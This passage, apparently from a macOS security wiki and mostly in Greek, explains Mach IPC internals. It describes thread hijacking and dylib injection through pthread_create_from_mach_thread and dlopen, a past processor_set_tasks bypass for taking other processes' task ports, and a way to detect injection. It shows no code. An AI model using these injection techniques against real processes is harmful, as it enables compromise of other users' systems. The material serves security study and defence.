Ήταν δυνατό να εισαχθεί ένα απλό shellcode για να εκτελέσει μια εντολή επειδή δεν χρειαζόταν να λειτουργήσει με συμμορφωμένα με το posix api, μόνο με το Mach. Πιο πολύπλοκες εισαγωγές θα χρειαζόντουσαν το νήμα να είναι επίσης συμμορφωμένο με το posix.
Συνεπώς, για να βελτιώσετε το νήμα θα πρέπει να καλέσει το pthread_create_from_mach_thread το οποίο θα δημιουργήσει ένα έγκυρο pthread. Στη συνέχεια, αυτό το νέο pthread θα μπορούσε να καλέσει το dlopen για να φορτώσει ένα dylib από το σύστημα, έτσι αντί να γράφετε νέο shellcode για να εκτελέσει διαφορετικές ενέργειες είναι δυνατό να φορτώσετε προσαρμοσμένες βιβλιοθήκες.
Μπορείτε να βρείτε παραδειγματικές dylibs σε (για παράδειγμα αυτή που δημιουργεί ένα αρχείο καταγραφής και μετά μπορείτε να το ακούσετε):
Επικοινωνία μεταξύ Διεργασιών (IPC) στο macOS
Στο macOS, η επικοινωνία μεταξύ διεργασιών μπορεί να χρησιμοποιηθεί για την εκτέλεση επιθέσεων εκμετάλλευσης προνομίων. Οι επιθέσεις IPC μπορεί να εκμεταλλευτούν την αδυναμία του συστήματος να επιβάλει περιορισμοών στην επικοινωνία μεταξύ διεργασιών, επιτρέποντας την ανεπιθύμητη αλληλεπίδραση μεταξύ διαφορετικών διεργασιών. Είναι σημαντικό να εφαρμόζονται σκληρυντικά μέτρα στη διαχείριση της IPC στο macOS για την ενίσχυση της ασφάλειας του συστήματος.
Σε αυτήν την τεχνική γίνεται απαγωγή ενός νήματος της διεργασίας:
Ανίχνευση Έγχυσης Θύρας Task Port
Όταν καλείται το task_for_pid ή το thread_create_* αυξάνει ένα μετρητή στη δομή task από τον πυρήνα που μπορεί να προσπελαστεί από τη λειτουργία χρήστη καλώντας task_info(task, TASK_EXTMOD_INFO, ...)
Θύρες Εξαιρέσεων
Όταν συμβεί μια εξαίρεση σε ένα νήμα, αυτή η εξαίρεση στέλνεται στην καθορισμένη θύρα εξαίρεσης του νήματος. Εάν το νήμα δεν τη χειρίζεται, τότε στέλνεται στις θύρες εξαιρέσεων της εργασίας. Εάν η εργασία δεν τη χειρίζεται, τότε στέλνεται στη θύρα του κεντρικού υπολογιστή που διαχειρίζεται από το launchd (όπου θα γίνει αναγνώριση). Αυτό ονομάζεται ταξινόμηση εξαιρέσεων.
Σημειώστε ότι στο τέλος συνήθως αν δεν χειριστείται σωστά η αναφορά θα καταλήξει να χειριστεί από τον δαίμονα ReportCrash. Ωστόσο, είναι δυνατόν για ένα άλλο νήμα στην ίδια εργασία να διαχειριστεί την εξαίρεση, αυτό είναι αυτό που κάνουν εργαλεία αναφοράς κρασαρίσματος όπως το PLCrashReporter.
Άλλα Αντικείμενα
Ρολόι
Οποιοσδήποτε χρήστης μπορεί να έχει πρόσβαση σε πληροφορίες σχετικά με το ρολόι, ωστόσο για να ορίσει την ώρα ή να τροποποιήσει άλλες ρυθμίσεις πρέπει να είναι ριζοχρήστης.
Για να λάβετε πληροφορίες είναι δυνατόν να καλέσετε συναρτήσεις από το υποσύστημα clock όπως: clock_get_time, clock_get_attributtes ή clock_alarm
Για να τροποποιήσετε τιμές το υποσύστημα clock_priv μπορεί να χρησιμοποιηθεί με συναρτήσεις όπως clock_set_time και clock_set_attributes
Επεξεργαστές και Σύνολο Επεξεργαστών
Οι διεπαφές του επεξεργαστή επιτρέπουν τον έλεγχο ενός μοναδικού λογικού επεξεργαστή καλώντας συναρτήσεις όπως processor_start, processor_exit, processor_info, processor_get_assignment...
Επιπλέον, οι διεπαφές του συνόλου επεξεργαστών παρέχουν έναν τρόπο για να ομαδοποιήσουν πολλούς επεξεργαστές σε μια ομάδα. Είναι δυνατόν να ανακτηθεί το προεπιλεγμένο σύνολο επεξεργαστών καλώντας processor_set_default.
Αυτές είναι μερικές ενδιαφέρουσες διεπαφές για αλληλεπίδραση με το σύνολο επεξεργαστών:
processor_set_statistics
processor_set_tasks: Επιστρέφει έναν πίνακα δικαιωμάτων αποστολής σε όλες τις εργασίες μέσα στο σύνολο επεξεργαστών
processor_set_threads: Επιστρέφει έναν πίνακα δικαιωμάτων αποστολής σε όλα τα νήματα μέσα στο σύνολο επεξεργαστών
processor_set_stack_usage
processor_set_info
Όπως αναφέρεται στην συγκεκριμένη δημοσίευση, στο παρελθόν αυτό επέτρεπε την παράκαμψη της προηγούμενης προστασίας για τη λήψη θυρών εργασίας σε άλλες διεργασίες για να τις ελέγξετε καλώντας processor_set_tasks και λαμβάνοντας μια θύρα κεντρικού υπολογιστή σε κάθε διεργασία.
Σήμερα χρειάζεστε ριζοδικαιώματα για να χρησιμοποιήσετε αυτήν τη λειτουργία και αυτό προστατεύεται, οπότε θα μπορείτε μόνο να λάβετε αυτές τις θύρες σε μη προστατευμένες διεργασίες.
Μπορείτε να το δοκιμάσετε με:
XPC
Basic Information
XPC, which stands for XNU (the kernel used by macOS) inter-Process Communication, is a framework for communication between processes on macOS and iOS. XPC provides a mechanism for making safe, asynchronous method calls between different processes on the system. It's a part of Apple's security paradigm, allowing for the creation of privilege-separated applications where each component runs with only the permissions it needs to do its job, thereby limiting the potential damage from a compromised process.
For more information about how this communication work on how it could be vulnerable check:
MIG - Mach Interface Generator
MIG was created to simplify the process of Mach IPC code creation. This is because a lot of work to program RPC involves the same actions (packing arguments, sending the msg, unpacking the data in the server...).
MIC basically generates the needed code for server and client to communicate with a given definition (in IDL -Interface Definition language-). Even if the generated code is ugly, a developer will just need to import it and his code will be much simpler than before.